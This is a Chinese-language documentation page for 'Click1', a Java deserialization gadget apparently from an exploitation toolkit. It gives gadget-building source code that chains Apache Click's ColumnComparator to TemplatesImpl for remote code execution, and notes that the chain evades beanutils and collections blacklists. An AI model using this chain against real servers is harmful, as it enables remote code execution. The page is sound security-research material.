Skip to content

Latest commit

 

History

History
55 lines (46 loc) · 4.24 KB

File metadata and controls

55 lines (46 loc) · 4.24 KB

Click1(Click1)

  • 类别:javanative 别名:— 优先级:未标注(默认)
  • 作者:artsploit
  • 依赖org.apache.click:click-nodeps:2.3.0javax.servlet:javax.servlet-api:3.1.0

作用

借助 Apache Click 框架的 Column$ColumnComparator 作为 PriorityQueue 的比较器,在 Java 原生反序列化(PriorityQueue.readObject)时通过比较器对内层对象调用任意属性 getter(此处固定为 outputProperties),从而衔接 TemplatesImpl 完成字节码加载 RCE。是 CommonsBeanutils1 之外、不依赖 commons-collections/beanutils 的又一「PriorityQueue + Comparator 触发 getter」跳板。

链接标签

  • 入口 tagsJavaNativeDeserialize —— 产物是 PriorityQueue,承接原生反序列化入口。
  • 衔接 nextTagsTemplatesImplChain —— 之后专接 TemplatesImpl 系列(通过 getOutputProperties getter 触发 newTransformerdefineClass)。
  • excludes:无。

源码剖析

public Object getObject(Object template) throws Exception {
    Column column = new Column("lowestSetBit");                                         // 先给一个无害属性名
    column.setTable(new Table());
    Comparator comparator = (Comparator)Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
    PriorityQueue<BigInteger> queue = new PriorityQueue<BigInteger>(2, comparator);
    queue.add(new BigInteger("1"));                                                     // 用 BigInteger 无害占位
    queue.add(new BigInteger("1"));
    column.setName("outputProperties");                                                // 占位完成后,改成真正要触发的 getter
    Object[] queueArray = (Object[])Reflections.getFieldValue(queue, "queue");
    queueArray[0] = template;                                                           // 反射把队首换成 TemplatesImpl
    return queue;
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject(chain.doCreate(context));   // 内层先产出 TemplatesImpl
}

逐段说明:

  • Column$ColumnComparator.compare(o1, o2) 内部会用 column.getName() 作为属性名,对被比较对象做 PropertyUtils.getValue(row, name) 之类的取值——即对元素调用「以该属性名为准的 getter」。
  • 构造顺序很讲究:先把 Column 的名字设成无害的 lowestSetBitBigInteger 确实有 getLowestSetBit/lowestSetBit),并 add 两个 BigInteger 占位,使 add 阶段的 siftUp → compare 不会对目标对象误触发或抛错。
  • 占位完成后再 column.setName("outputProperties"),把 getter 目标改成 TemplatesImpl.getOutputProperties
  • 反射获取 PriorityQueue 底层 queue 数组,把 queueArray[0] 替换为真正的 template(下游 TemplatesImpl)。
  • 反序列化时 PriorityQueue.readObject → heapify → siftDown → ColumnComparator.compare → getProperty("outputProperties"),触发 TemplatesImpl.getOutputProperties() → newTransformer() → defineTransletClasses(),加载恶意字节码。

参数(@Param)

本类无 @Param。属性名固定为 outputProperties,队列元素与下游对象由链上下文注入。

适用版本与原理要点

  • 依赖 Apache Click 2.3.0click-nodeps)与 servlet-api,运行环境需存在这些类。
  • 属于 artsploit 公开的 Click 反序列化 gadget;机制与 CommonsBeanutils1 同源(PriorityQueue + 自定义 Comparator → getter),差别在于比较器载体换成 Click 的 Column$ColumnComparator,可绕过针对 beanutils/collections 的黑名单。
  • getter 目标写死为 outputProperties,因此下游几乎固定为 TemplatesImpl(要求 JDK 能加载 TemplatesImpl,通常 JDK < 17)。

所属预设链

自由构件,未直接出现在 51 条预设链中。可等价替换 CB1 链首环:[Click1, TemplatesImpl, BytecodeConvert, Exec]

关联

  • 下游(nextTags=TemplatesImplChain):TemplatesImpl(→ BytecodeConvertExec)。
  • 同族/等价原语:CommonsBeanutils1、其它 PriorityQueue + Comparator 触发 getter 的跳板。